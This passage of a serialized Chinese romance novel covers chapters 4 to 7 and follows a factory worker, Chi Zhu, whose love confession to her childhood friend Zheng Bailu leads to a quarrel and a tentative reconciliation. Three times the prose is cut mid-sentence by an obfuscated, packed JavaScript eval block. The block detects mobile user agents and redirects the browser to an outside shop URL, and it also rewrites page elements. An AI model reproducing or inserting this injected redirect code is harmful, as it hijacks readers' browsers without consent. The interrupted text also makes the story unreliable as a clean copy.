反正池竹现在和她没什么大关系,要是真好朋友,她怎么好意思讲,现在莫名其妙的,她讲起来肆无忌惮,泪水滴在裙子上,洇出浅浅的湿迹。 “比如那什么放贷款的马公子,还公子呢!还有隔壁孙大妈家的孙兴浩,人家都说他在外面好赌,打起牌来一晚上要输好几百块钱,我看起来是这样缺钱的样子吗,成日净招这些人来喜欢我?” 郑白露长长的睫毛湿淋淋的,一双杏眼里盈盈地含满了泪。池竹的一颗心都不会跳了,她看着郑白露的脸,真想一点点把她的泪水全擦去,再不让她伤心了。 她知道郑白露是最有原则的,她有点虚荣,爱体面,可这不代表她爱钱。她心气高,对爱情有追求,那追求绝不和钱挂钩。 池竹觉得自己和她不合适,因为她觉得白露要过最好的生活,要有面霜,香水和首饰,很显然,自己不具备那些条件,从高三那年开始,她们就注定走不到一条路上了。 当然,最重要的是,白露不爱女人,也不爱她。除此之外,一切都是虚的,一切都暂时是不重要的,是她杞人忧天的,因为白露根本不爱她,不需要她有那么多无谓的烦恼。 “怎么能这么说呢?”怎么天气还是这样热呢?池竹望着她,头脑昏昏沉沉地说,“当然有好人喜欢你的,不论是厂里还是院里,喜欢你的人都多着呢。” “谁啊?”郑白露问,她也不是为了让池竹回答,只是想反驳一下池竹对她的安慰,“要真有那么多好人喜欢我,我也不至于到现在还从没谈过朋友。” 元宝枫下全是潮湿的长草,静谧的夜里,蚊子嗡嗡的声音异常清晰,池竹来的时候只穿了背心和短裤,一路被蚊子咬了许多包。 这会儿她觉得腿上一阵刺痒,下意识地伸手去拍,拍出一点鲜红的血来。 “好多人呢!”池竹说,她朦朦胧胧的,觉得思维全都停滞了,太累了,眼前发花,心脏一下一下地急跳着,她忍不住,一屁股坐到了地上。 “谁?”郑白露流着泪逼问她,和刚才一样,不是为了要一个答案,就是故意想逼问她,咱们俩现在连朋友都不是了,你倒是还知道谁喜欢我呢? “你说得好听,真觉得我很好吗?到底有哪个好人喜欢我呢?谁呢?” 见池竹不说话,她变本加厉:“你也觉得有很多人喜欢我,实际上呢,到底只是一种感觉,一种安慰而已。说白了,我自己都觉得,没什么好人喜欢我的,也不知道到底是谁的问题……” 白露还说了许多,可惜池竹全听不清了。模模糊糊的,她就听见白露说:没人喜欢我。 这怎么可能呢?怎么可能没人喜欢她呢? 池竹望着她,喃喃地说:“白露,我喜欢你,我爱你啊。” 她说出口,浑身忽然一轻,好像所有的担子都消失无踪了。没有压力,没有烦恼,不是要承担妹妹责任的姐姐,不是要承担期待和责任的年轻工人代表,不是所有人不管情不情愿都得必须处处关照的可怜人。 她只是池竹而已。一个暗恋自己青梅竹马朋友的池竹,仅此而已。 “白露,我喜欢你,我爱你。”她说,“我们回家吧,好不好?” 4. 同事而已4 郑白露乌溜溜的杏眼含着泪,她的心不知道是不是因为惊吓还是疑惑,跳动的拍子全乱了:“你说什么?” 池竹回过神来,刹那之间,一张脸彻底白了。热汗之上,湿淋淋的冷汗一下涌了出来,赶紧站起身来去扶郑白露:“咱们回家吧。” “我刚刚听见你说爱我。”郑白露乌浓的长睫毛上还坠着泪珠,“池竹,这……这是怎么一回事?真的吗?” “我去把自行车推过来。”池竹不答,她心慌意乱,后悔得心如刀绞,一句多的话也讲不出了。 “你这是干什么呀?”郑白露提高声音问了一句,池竹已经走到树边去推自行车了,她用肩上自己的擦脸毛巾抹了抹车子后座,又翻到干净的一面垫在上面:“走吧,我送你回去。” 郑白露方才听得清清楚楚,她说爱自己的,现在这样的表现,应该是害羞了吧。她擦擦眼泪,坐到车后座上,忽然想到,自己好久没坐过池竹的自行车了。 上次坐是什么时候?高中吗?郑白露有点记不清了,大约是高中的某一天她起晚了,让池竹帮忙载她上学,光等她收拾好池竹就等了十分钟。 那次迟到了没有?郑白露同样地记不太清了,应该是没有迟到。池竹的自行车骑得好快,她都不知道这人那么瘦哪里来的这样的脚力。 池竹小时候可不是那么瘦。郑白露心想,谁能想象得到池竹小时候居然长得胖乎乎的,像个小笋!从念小学开始,池竹就人如其名,变得越来越瘦了,高中的时候,本就宽大的校服穿在她身上更是空荡荡的。 大半年前,自己在外面念了三年大专回来,院里的人都凑过来对她问东问西,池竹站在人群后面,好像是站了很久,等到她走到身边,才向她打了一声招呼:“白露,你回来了。” 池竹比以前更瘦了,这件事郑白露记得很清楚,因为她觉得池竹几乎是瘦得令人惊心。 她望着自己笑了,那枚很不标准的梨涡和小虎牙一起露了出来。 难道那时候,她就喜欢自己了吗?郑白露心不自然地一跳,泪也不流了,全部的心思都放在这件事上了。 池竹的自行车轱辘轱辘地轧进大杂院,郑小芳又惊又喜地迎过来,看到自己女儿满脸泪痕,吓得要命,赶紧牵住女儿的手从头到脚检查了一遍,这才拉着要走的池竹感谢了好几遍才肯放人家回家。 同学会的事情郑白露没和妈妈细说,一方面是怕妈妈义愤填膺,实在气着身体,一方面是自己现在的心思也真不在那事上面了。 她稀里糊涂地洗了个澡躺到床上,脑子里思绪还是纷纷乱的,无论如何也睡不着。 池竹爱她?真的吗?她怎么一点都看不出来,一点都没有意识到的! 郑白露恨不能把脑海中关于池竹的记忆全都搜刮出来,仔仔细细地分析一遍。其实她一直觉得,池竹是不会谈恋爱,不会爱上任何人的。上学的时候,池竹一心学习,她的成绩永远是名列前茅,也不喜欢讨论任何当时班级内流行的谁喜欢谁之类的热门话题,更不关心杂志和电影里的男明星。 有人偷偷给她写情书,也被她还回去了,据说理由是一板一眼的:谢谢你,但是现在最重要的事情是认真学习。 不会是因为这个政策吧?郑白露想,她突然就有点生气了,这政策才出两天,她还认认真真地想着不能因为这么突然的东西一夕就改变自己去喜欢女人,池竹难道就因此对自己有意思了? 要真是这样的话,那也太草率了! 她恼了一会儿,翻了个身,又渐渐地想,池竹不会这样的,她不是这样的人。在小满山的时候,她和自己说了好些话,那些话肯定都是真心的,尤其是最后那两句喜欢、爱……太真了,她了解池竹,她不会骗人。 难道她早就喜欢自己了吗?是不是在高中的时候?池竹不关心男明星,原来一直是因为喜欢女孩吗?可她也不怎么关心女明星呀! 郑白露心里情不自禁地有点甜丝丝的,池竹都喜欢她,可见自己吸引来的倒也不真全是没谱的人。 不过这份甜旋即被惆怅给冲散了,明天她要怎么和池竹说呢?她是很愿意借着这个契机和池竹重修旧好的。池竹这个闷葫芦既然对她表白了,那她也要投桃报李,告诉她自己其实一直为她们之间的疏远而介怀。 该怎么说呢?因为这话讲出来,其实得算一种婉拒了。 好,睡觉吧!郑白露给自己催眠,现在不要想了,到睡觉的时间了。 然而她刚合上眼睛不过两分钟,又睁开了,杏眼在一片微微的黑暗中亮晶晶的:到底该怎么办呢,不想清楚她根本睡不着! 郑白露思来想去,都觉得自己愿意道歉。她当初也是孩子心性,不愿意宽容池竹一点,大专回来之后她就该主动一点的,结果直到现在才知道池竹和自己疏远的外因和内因。 恋人做不成,起码要做朋友的。郑白露心念电转,一颗心七上八下的,又无端端地忧心起来。 可是池竹脸皮那么薄,自己这种婉拒,让她伤心该怎么办?池竹已经伤过那么多次心了,她不愿意让她再受伤。 郑白露想着想着,意识昏沉,坠入了一个沉沉的梦乡。 她这边睡得香,池竹那边可是一分钟也睡不着,真跟整个身心全落进了油锅熬煎似的。 怎么会说出那样的话呢?池竹现在想来,真是难以置信。明明藏得严严实实的,早就做好了一辈子不见天日的预备,她怎么这么愚蠢的,莫名其妙地全揭了出来? 白露现在一定很烦恼吧?政策突如其来,可人一时半会儿是改变不来的,她并不觉得,白露会和她一样喜欢女人。 而且她是很清楚的啊,清楚白露想要什么样的生活,很显然,那种生活,和她的距离比唐僧到西天取经还远。 快睡吧,池竹强迫自己,明天一定要想办法和白露说清楚,就说自己不是故意的,让她别放在心上,千万别为难…… 许多只羊慢吞吞地在她的脑海中走过,池竹睁着眼睛,就这样始终望着有一道裂缝的天花板,外面的月光透过窗帘洒进来,今晚月明星稀,明明是多好的天气啊。 思绪左右奔突,她突然想到,白露果然穿的不是绣着金桂的米白色裙子,她换了一条,淡黄色,绣着小小的月亮。 郑白露下意识地在眼前挡了一挡,金黄色的阳光将半间屋子照得灼灼发亮。“妈,”她脑子还有点发蒙,“几点了这是?” “九点了!你再晚起会儿咱就能吃中午饭了。”郑小芳笑道,“刚才我还看着小池竹在院子里头转呢,好像要来找你似的,我还没问呢,她就骑上车子出去了,应该是去买灯泡了,昨晚她家灯灭了。” “找我?”郑白露敏锐地从中捕捉到关键词,她立即下了床到院里去洗漱,回到屋内,一边往胳膊和脖颈上抹宫灯杏仁蜜,一边问正择韭菜的郑小芳:“妈,确定是找我呢?” 这孩子以前可从不说这话!要么让她去,要么直接就自己过去了,确定什么确定呢? 郑小芳眼珠一转,一点不错过这个机会:“这话问的,确定不确定的你去一趟不也挺好?要我说小池竹这孩子是真不错,长得好看,又稳重,还有技术。这几年你要说妈帮衬人家不少,那是,可咱家有时候电灯不亮了,需要搬个煤气罐了,这些勤杂事,人家也没少帮衬着咱们!” “我一句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705305|189181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话您十句等着我呢?”郑白露听着好笑,“这么喜欢,你去把人家请来做亲生女儿吧。” “在我这儿待遇是亲生的。”郑小芳那嘴丝毫不落下风,“但是想真成亲生女儿,那你妈我说了可不算。” 郑白露横了她一眼,对自己亲妈的想法是一清二楚。这不就是一见政策出了心里活泛,同性之间也点起了鸳鸯谱,想把她和池竹凑一对吗? 她没说自己,反而道:“你不怕人家不喜欢女孩呀?” 郑小芳满不在乎:“那咋了,不喜欢就不成,喜欢就是有缘,这不就跟女孩和男孩相亲一样的吗,性别现在就和身高相貌一样,喜欢咱就趁热打铁,不喜欢就拉倒,恋爱就讲究一个试字!更何况你知道人家不喜欢女孩呢?” 郑白露这下真被她妈给说住了,郑小芳一阵得意:“赶上你妈这境界你还得多吃几年盐呢!别说人家了,你喜不喜欢女孩?” “不喜欢啊。”郑白露不假思索,“政策刚出三天,我就喜欢女的了呀?妈,您想过再给我找个后妈吗?” 郑小芳把韭菜作势往她身上一戳:“行了,赶紧去看看人家是不是找你有什么事呢。” 郑白露一扭身躲开,乘着郑小芳这句话的东风,转头到衣柜里挑衣服穿。她一件件地挑拣衣服,浑然没发现,自己比挑同学会的衣服还用心。 她拣出一件小方领的白色衬衣,又选出一条及膝的短裙穿上,挺满意地对着镜子瞧了又瞧,心想自己总不能空手过去,就喊了一声:“妈,要不早点炒菜,我送点给她俩。” “行啊!”郑小芳说,“正好你起得晚,咱们早点吃中饭。” 没一会儿,她把红焖鸡块,韭菜炒鸡蛋和凉拌菜一样盛到饭盒里一些,让郑白露送过去。 郑白露把饭盒搁到桌子上,不忘抹了抹唇膏,这才跨出门,几步就走到了池家的小院里。她一进门,正在屋檐下搂着本书,昏昏欲睡的池橙眼睛一亮,马上精神了:“姐,白露姐来了!” 屋内传来叮哐的一声,郑白露猜是池竹把锅铲扔了,果然,不到两秒钟的功夫,池竹就匆匆地走了出来,腰上还系着个橙黄色的花格围裙。 池竹看着她,和昨天一样,脸上全是热汗。昨晚纵使月光明亮,她也看不很清晰,今天这样大的日头,她把池竹那张湿漉漉的秀气脸孔看得清清楚楚,还有一双清凌凌的眼睛里那情不自禁躲闪的眼神。 这是还不好意思呢。郑白露想。 “橙子,你先进屋。”池竹推了推池橙的小肩膀。 郑白露抿出一丝笑意,道:“橙子,把饭盒拿进去。”池竹刚要阻止,池橙已经兴高采烈地跑过来,两手捧住热乎乎的饭盒,甜甜地说:“谢谢姐姐,谢谢大妈。” 她才十一岁,正是天真烂漫的时候,别人对自己有善意,她不像姐姐一样总觉得不好要拒绝,她觉得别人的善意就像这饭盒一样热乎乎的,到时候你来我往,再用自己的善意报答回去就好了嘛!总是推辞,会生疏的呀! 池橙跑进屋,只留下池竹越发地局促,她紧紧地攥着围裙,知道装傻是无论如何也糊弄不过去的,更何况这种事,白露又那么聪明,哪里又有糊弄的余地? 倒是郑白露很体贴,知道她害臊,起了一个头:“昨晚……” 她想还得是先让池竹说,她想听听池竹的想法,她到底对昨晚是怎么想的呢? “对不起。”池竹说,“白露,昨天晚上,真的对不起。” 郑白露静静地等着,没想到往后再没声音了,池竹只是说,对不起。 池竹站在她面前,做错事一样垂着睫毛,浓墨重彩的眼睛都失了颜色,面上一片雪白。 5. 同事而已5 “然后呢?”郑白露终于忍不住问。 对不起?有什么可对不起的,然后呢?倘若月亮底下的告白是真心的,那现在太阳底下的呢?然后呢?到底然后什么呢? 池竹抬起睫毛,拼尽全力地看着她,声音浅浅地发抖,又重复了一遍:“对不起,我昨天实在太冲动了,晚上太热,我不知道怎么了,脑子很不清醒。白露,你别为难,别往心里去,好不好,我们还和从前一样。” “和从前一样?”这话立竿见影地把郑白露的火给点着了,“哪个从前?池竹,你和我说,哪个从前!” 池竹一颗心脏都忐忑地皱缩成了一小团,明明有点愕然,还是很认真地解释道:“从前,就是我犯傻之前……” 郑白露真是气笑了,明明脸上是个带笑的神情,乌溜溜的杏眼里却猛地蹿上来了一股滚烫的热泪:“我明白了,你的从前,就是咱们俩是同事的从前,是这个意思吗?你说了那一番话,最后就还是想和我做同事,是吗?” “不是。”池竹说,她把眼泪硬生生地咽下去,“不是,咱们不是朋友吗?” “朋友?”郑白露瞧着她,亮堂堂的太阳光落在她眼睛里,全模糊成一片混乱的光影,“池竹,你从哪觉得咱们俩还是朋友的?见面顶多打一声招呼,自从我回来了,一句天都没正经聊过,你见过这样的朋友!笔友都比咱俩亲近!咱俩还是朋友呢?你梦里的朋友吧!” 池竹怔怔地望着她,不知道该怎样解释。 她不是因为没有希望的爱慕才故意疏远白露的,她从来没有故意疏远过白露。高三那半年她要带着妹妹操办葬礼,进厂学习工作,白露在学校冲刺高考,见到的时间本来就寥寥无几。 白露回来之后,更和她不再是同一世界的人。白露有新的朋友,新的交际圈,新的生活,许许多多的追求者,而她的生活只是工厂和妹妹。 哪怕她们就这样因为时间走远了,池竹也一直觉得,她们还是朋友的。 原来白露觉得,她们早就不是朋友了吗? “你到底是真喜欢我,还是纯粹为了安慰我呢?”郑白露忽然说,“我没谈过恋爱,可我知道爱情是很热烈的,如果有人真爱我,怎么舍得只和我做同事,或者是那好笑的朋友呢?” “你没什么可对不起的。”郑白露说,“是我该对你说谢谢,不管你是不是真喜欢我,还是就是为了安慰我,或者可怜我。对你说了谢谢,不欠你什么了,往后咱们就做同事吧,因为我不需要别人安慰,更讨厌别人可怜!” 她转身走了,池竹咬紧牙关,跌跌撞撞地跑了两步,到底是满心彷徨地停住了。 什么都晚了,什么都完了!池竹一想到这儿,简直是摧心剖肝一样的难受。没经历过事情的年轻人一遇到点挫折,就会觉得像天塌了一样,她今年二十岁,明明已经经历过全世界最痛苦的事,这时候却仍然觉得天是塌了。 她只喜欢过,只爱过白露一个人,明明好好地把这份感情藏在心里就可以,怎么能弄到这种地步! 池竹深深地喘过一口气,一步步地挪进屋,把锅里炒的酸辣土豆丝盛出来,池橙惊疑不定,大眼睛睁得圆溜溜的:“姐姐,你和白露姐吵架了?” “没有。”池竹说,她竭力将语气放得平稳,一如往常,“快吃吧,吃完我刷了饭盒,你给大妈送回去。” 池橙倒是不怕跑腿,她眨巴眨巴眼睛:“姐,你送过去呗,要是你跟白露姐闹矛盾了,你俩见一面,不就又能和好做好朋友了吗?” 她滔滔不绝地给姐姐支招:“前一阵我可和吴瑛吵了一架,现在我都忘了为啥吵的了,那一阵可难受了,我俩也不说话,互相也不看。前天上体育课的时候我忍不住跑去找她,她一见着我就哭了说想和我和好,我俩就马上和好啦。” 池竹勉强挤出一个笑容:“橙子,小学生和大人是不一样的,大人想要和好没那么简单的。” “你不试试怎么知道呢!”池橙一个劲地撺掇她,直到池竹说:“好了橙子,送完饭盒该回屋写作业了。” 池橙马上蔫了,抓紧最后一点时间,全神贯注地看起电视来。 - 郑白露喜欢吃腐竹,郑小芳做的凉拌菜里面腐竹就是大头,女儿还没回来,郑小芳先往她的碗里夹了点菜。 她自觉今天自己的菜做得不错,而且她总觉得即使郑白露说不喜欢女孩,但往后怎么样,谁也说不准,这会儿正美着呢,郑白露大踏步进来,一张俊俏的小脸上又红又白:“从今往后,你做了饭直接拿给池竹,别过我的手了。” 郑小芳一愣,完全没搞清楚这是突发了什么状况:“你这莫名其妙的是咋了?” “我莫名其妙?”郑白露没好气地说,“妈,你在这儿乱点鸳鸯谱我就不说你了,她自己明明能拿,总叫我帮忙,我俩是同事!连朋友都不算的同事!我总是要给这个同事带饭,你知道厂子里都怎么传的吗,说你想要她做我女婿了!你女儿我恋爱都没谈过,受不得这气!” 郑小芳被她吵得脑袋瓜子嗡嗡响,根本没搞清楚现在到底是个什么状况。什么同事什么朋友的?她怎么一句都听不懂? 郑白露说到做到,周一清晨看桌上盛好的两个饭盒,就只拿自己那个,一句话也不多说,早早地就上班去了。 郑小芳拿着剩下那个饭盒,见池竹到院子里推车子,急忙过去想要把饭盒塞给她,池竹摇摇头拒绝了:“谢谢大妈,但是我能自己做饭的,往后真的别麻烦了。” 她很坚决地,又感激又抱歉地看了郑小芳一眼,这才微微地垂下头,骑上车子走了。 这俩孩子到底咋了?郑小芳既迷惑,又是满心的怅然,她做长辈的,想问又不能问,最怕掺和了孩子的事,反而给闹得更糟糕了。 池竹把自己带着的饭盒放到锅炉房,又回车间,她想走得快一点,然而走得稍微一快,那颗心简直像生了怪病一样,悬在胸口,毫无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705306|189181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凭依地飘来荡去,空荡荡的难受。 往常那颗心沉甸甸的,填塞了很多东西,有对白露的爱,还有对妹妹的期望。她想着等到池橙考上大学,那时候白露也一定已经结婚生子,她就离开这个地方,去更广阔的大城市。 可这两天因为政策,让她多了一种不切实际的幻想。越是疲倦,越是没有时间,她反而越变本加厉地胡思乱想。 当晚看完新闻,她做梦都在想,或许我能和白露结婚呢?将来池橙又能考上大学,那她真是全天下最幸福的人了。 结果现在爱被她这样愚蠢地剖了出来,晾在了阳光底下,她的心都空了大半。 自己怎么能这么傻呢?池竹自己都想不明白,现在好了,现在好了! 刘主任那边暂没回音,池竹不抱太大希望,打算什么时候看厂长有时间,能和她见一面。她一上午的时间检查维护机床,陆陆续续地有人问她,怎么厂花今天没给你送饭呢? 池竹低着头,把工具一样样地收好,故意用很轻松的语气说:“我怎么能总麻烦人家呢?” 厂里的年轻工人大多都是二十啷当岁,正是对恋爱八卦最感兴趣的时候,这句话被池竹说完没多久,马上乘着风就进了财务科办公室。 郑白露气得用力踩了一下糊底机的脚踏板:“我俩什么关系呀我还天天给她带饭呢?你们都跟池竹学着点,大家都是同事关系,客客气气的最好了!” 何静敏笑了:“白露,你这么说的话,大家只会更觉得你们关系非同一般。” “就有那爱嚼舌根子的。”郑白露说,“下次要让我逮住了,我非得好好收拾那人一顿不可!” 何静敏是个很有分寸感的人,她不问两人之间具体发生了什么,一边拨着手里的算盘,一边说:“今天下午下班前厂长过来,我把剩下的做了,你去把资金日报送到办公室吧。” 郑白露知道这是何姐照顾她,愿意把轻省的活给她,一口答应下来,把一纸袋的黄油球糖往何静敏的方向推了推。 何静敏知道她的心意,并不推辞,拣了一块含在嘴里。 本来她们这边的百货商场是没有这种糖的,自从《金鹿儿》上映之后,着实带火了不少糖果,商场里不仅进了黄油球糖,还多进了许多以前少见的咖啡糖和酒心糖。 郑白露等了一会儿,看还有半个小时下班,拿起日报打算去厂长办公室。明明还有一段距离,她偏偏眼尖,一眼就看到了那个瘦得令她惊心的身影。 真是冤家路窄,池竹正站在厂长办公室门前呢! 池竹听到脚步声,下意识地转头去看,一看到郑白露,她眼睛都睁大了,欣喜、懊悔、局促……种种的情绪翻涌出来,让她既不想转过头,生怕白露又觉得自己是疏远她,但是又不敢这样直勾勾地盯着白露看,只好微微地垂下睫毛,很小心地打了个招呼:“白露。” 郑白露没答话,大约是心里还带着气,冷冷地横了她一眼。 6. 同事而已6 “进来吧。”里面传出一道女声,见她俩一块进来,厂长储春荣打趣道,“还是一块找我的呢。” “我俩不是一件事。”郑白露说,伸手把日报放到桌面上,“这是今天的资金日报,厂长,没什么事我就先出去了。” “行。”储春荣道,这女人决策谨慎,生活中却是眼观六路耳听八方,一眼就看出来了,郑白露关了门,她就问道,“怎么,你俩闹矛盾了?” 池竹静默着没回答,储春荣也不追问,“生活上有什么为难的事情就跟我说,我知道你要强,其他人另说,但是我照顾你是应当应分的,那是应该的!” “我知道的。”池竹说,她知道不论是厂长,还是别人讲这话都是真心的,但她也知道,她不能把这份真心当作优势,靠山山会倒,靠人人会跑,她和妹妹的日子,到底还得是她们两个人自己来过。 “厂长,我这次过来,是想和你说说改造半自动机床的事,厂里的技工根本不懂编程控制器,我觉得要么把技工送出去学习,要么……” 储春荣把她建议进一批自动机床的话给拦住了:“这两天我正考虑这个事呢,不管是改造,还是什么,都得有个排头兵来带。” 她紧盯着池竹:“过一阵你和我一块出去,我这段时间在联系京城三溪机械厂,咱们两个去交流学习一次。” 她见池竹面色严肃,就知道她在为难什么。 这孩子是绝不会放弃这么好的自我提升的机会的,就是难免担心家里年幼的妹妹,当即安抚道:“行啦,别总是担心橙子,她都十一岁了,你不能总把她当小屁孩看待,更何况托郑大妈顺手照顾一下不也是方便得很?不准想东想西了,安心等信吧!” 池竹点了点头,出了办公室。她知道储春荣说得没什么错,橙子不是小屁孩了,自己能照顾好自己,大不了街坊邻居的照顾一下。 可是……池竹想,可能自己就是这么一个踌躇犹豫,一点人情都不愿欠别人的性格。本来就是这种性格,家里出了意外之后,更是变本加厉。 她慢吞吞地沿着走廊走了两步,这么大一桩事情不自禁地竟然抛到了脑后,又想起郑白露来。 明明借着这个机会什么都不做是最好的,彻底断了自己的念想,反正白露也是要拒绝自己的,倘若还继续做朋友,岂不是还给自己留着希望? 但白露那天的意思,明明还是愿意和自己做朋友的!自己难道不得趁机解释清楚,自己从未疏远过她吗?三句两句就能解释清的误会,白露是心气高,她呢,她非不解释是自找什么罪受? 池竹纷纷乱地想着,觉得才过了一瞬间,下班的“收操号”就响了起来。她们第一机械厂不用电铃,不放《咱们工人有力量》,向来都是吹军号,号声一响,不光是工厂下班,职工子弟小学也跟着放学。 改造机床的事情有了厂长的准话,她就不打算加班了。发生了那样的事情,到底和她过度劳累,头脑昏沉脱不开关系,她想她也不能够逼自己太紧了。 她回车间和师傅说了一声,准备今天去学校接池橙放学。 她一般只有早上送池橙过去,下午放学池橙都一般和朋友自己走回来。她得骑快一点,要不等她过去,橙子估计早从学校走远了。 自行车停在厂门口一片石棉瓦棚子下,正是下班时间,人潮拥挤,尤其是车棚是公认的恋爱角,上班时间还好点,下班时间许多人三三两两地聚在车棚里说话。 池竹侧着身子,像一张纸片一样从缝隙里穿过去,一眼就看到了自己的自行车。红旗牌的,电镀明亮的国防绿,相当好的一辆车子,比不上永久、凤凰、飞鸽这三大牌,在省内也是名声够响。 高三那年妈妈鼓励她,送了她这辆自行车做生日礼物,她一向珍惜得不得了。这会儿阳光一照,轮框上的划痕极明显,是去找白露那天扔到地上划的。 池竹默默地望了一眼,不觉得心疼。 她打开脚撑,刚要走,就听见有人喊道:“白露!” 她下意识地一转头,就看见隔着几个人的西边,白露正把包搁到车筐里。 大家都是一个下班时间,她能遇到郑白露实在也不稀奇。 唯独……来找白露的是那个放贷款的马时兴,白露讨厌他! 屋漏偏逢连夜雨,郑白露深吸了一口气,她早看到池竹了,那根瘦竹竿不知道在发什么呆,隔得这么近都没看见她! 这下好了,偏偏自己尴尬的时候她又瞧过来了,这真不是成心的啊? 不仅瞧过来了,还像是要傻愣愣地不走了,打算和其他人一样看免费的好戏啊? “白露,晚上咱们去跳舞吧?” 郑白露实际上早拒绝过他,但这个放贷款的比牛皮糖还黏人。 她心里一股火,不知道是因为马时兴还是因为那个大眼睛正朝这儿看个没完的池竹!她干脆地说:“行了马公子,您别在我这儿费心了,晚上我就不去了,还有事。” 她从车筐里取出包,三步两步走到池竹跟前:“走啊,您这位同事忘了我妈请您今天带我去百货商场买蒜肠了?” 池竹妈妈有个干妹妹在商场副食品柜台,前两年百货柜台出了试点,销售额多的,每个月多奖两元钱,于是这位干妹妹也非常欢迎池家人带街里街坊的去。 马时兴只得悻悻地走了,郑白露坏心眼地把池竹搅了进来,明明心里头有点爽快,但见她一点不反对,乖乖地扶起车子跟在自己身边的样子,那点爽快像是被戳破了气的气球一样飞速的瘪了。 郑白露忍不住:“人家都说泥人还有三分火气呢,我平白无故把你牵扯进来,这件事是我的不对,你就这么一声不吭?” 没想到池竹没答话,那双浓墨重彩的漂亮眼睛望着她,很认真地问:“你真要买蒜肠吗?” 郑白露真差点被她气个仰倒:“买!行了吧!你怎么净关注这些有的没的!” “那上车吧。”池竹说,反正平时橙子都是自己回家。她毫无心理负担的放弃了接妹妹的计划,一边蹬起脚蹬,一边强行按捺着那翻涌的情绪,一看到郑白露,她紧绷的心弦就是一松,那些陌生的,她平日里几乎不会感觉到的种种情绪,通通地朝她一股脑涌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705307|189181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了过来。 “我没什么可生气的,能帮到你我挺高兴的。” 不仅是因为帮到你高兴,还因为看到你拒绝别人就高兴。 讨好自己这招可没用!郑白露心想,嘴上说:“你倒是个好同事。” 池竹暂时接受了同事这个称呼。既然白露认为她们俩不再是朋友,那她们便重新做朋友好了。 下班之间她混乱地想了许多,可思来想去唯有一个念头是最深刻的,她的生活中不能没有白露,即使不是爱情,她也要和白露做一对最真挚的朋友。 至于疏远这件事,她得好好和白露解释。现在……算是一个好的时机吗? 没多久,两人遥遥地就看到了百货商场的大牌子,夏天的天还亮得很,霓虹灯管暗着。池竹把自行车停到门前的一溜水泥车架上,和白露一块走了进去。 一进门,商场里就泛出一股雪花膏、食物香味和汗味交织在一起的味道,称不上难闻,但也绝对称不上好闻。 池竹和郑白露并肩走着,对方身上那股略带苦味的花香味柔柔地打过来,这是什么香水呢?池竹从来没闻过这种香味。 直到白露回来,她才第一次闻到这种香水味。白露之前不洒香水,身上只有干净的肥皂味和一种若有若无的香气。 外国小说里说喜欢一个人,就会闻到她身上的味道,那时候的她不免有些失落,那岂不是还有很多人能闻到白露身上那种香气? 总之,她本以为白露喜欢的味道会更甜蜜一点,别看白露瞧着拒人于千里之外,实际上是个热心又善良的女孩。 不过这种淡淡的苦香味也合适极了。 她魂飞天外地胡思乱想了好一会儿,硬生生止住自己的思绪,在玻璃柜台前习惯性地扬起一个笑容:“阿姨。” 她现在已经很习惯笑了,笑起来,露出梨涡和小虎牙,让所有人知道她没事,她活得好好的,快乐,健康,充实,不必担心。 朱立红见到她很高兴:“小竹子来啦!” 郑白露也甜丝丝地打了招呼:“朱姨,我来买蒜肠,要一斤,粉肠也要一斤。” “小竹子要什么?”朱立红手里动作麻利,“给你也称一斤蒜肠一斤粉肠,记阿姨账上。” 池竹自然是想马上拒绝,郑白露知道她的脾性,妥帖地把话给接了过去:“这一斤粉肠就是给小橙子吃的呢,这东西放不了太久,等这次吃完了,下次池竹来的时候,您再给她称两斤!” 朱立红也知道池竹这孩子是什么性格,把称好的东西递给郑白露,当即要池竹发誓:“这周必须再过来一趟,否则阿姨饶不了你!” 她俩好不容易出了商场,池竹把车子推出来,对白露说:“谢谢。” “你到底哪来的那么多谢?”郑白露道,她望着天边灿烂的晚霞,“咱们算是扯平了。” 池竹心里一热,心想择日不如撞日,她哪能不知道自己的性格,索性这次用尽全部的勇气,一咬牙说:“白露,那天的事情……” “别说。”心高气傲的郑白露踢了踢路上的石子,“我不想听。” 7. 同事而已7 这就是白露。 比失落先来的反而是这样一个念头,这就是白露。完全是白露。从小就是这样,一点也不曾改变的郑白露。 小时候谁要是惹了郑白露生气,哪怕她心底里原谅你了,也要气鼓鼓地晾你好几天,即使你要和她聊这件事,她也要故意说,我才不想听呢! 上次和白露闹别扭是什么时候?池竹现在还记得很清楚,那是高二暑假,妈妈和爸爸加紧把工作做完,临时说要带她和橙子去深圳旅游。 她本来和白露约好要一块出去玩的,这下全泡汤了。白露不是不通情达理,是有点很可爱的小脾气,对着亲近的人就要发,当时就不行她,两天没和她讲话。 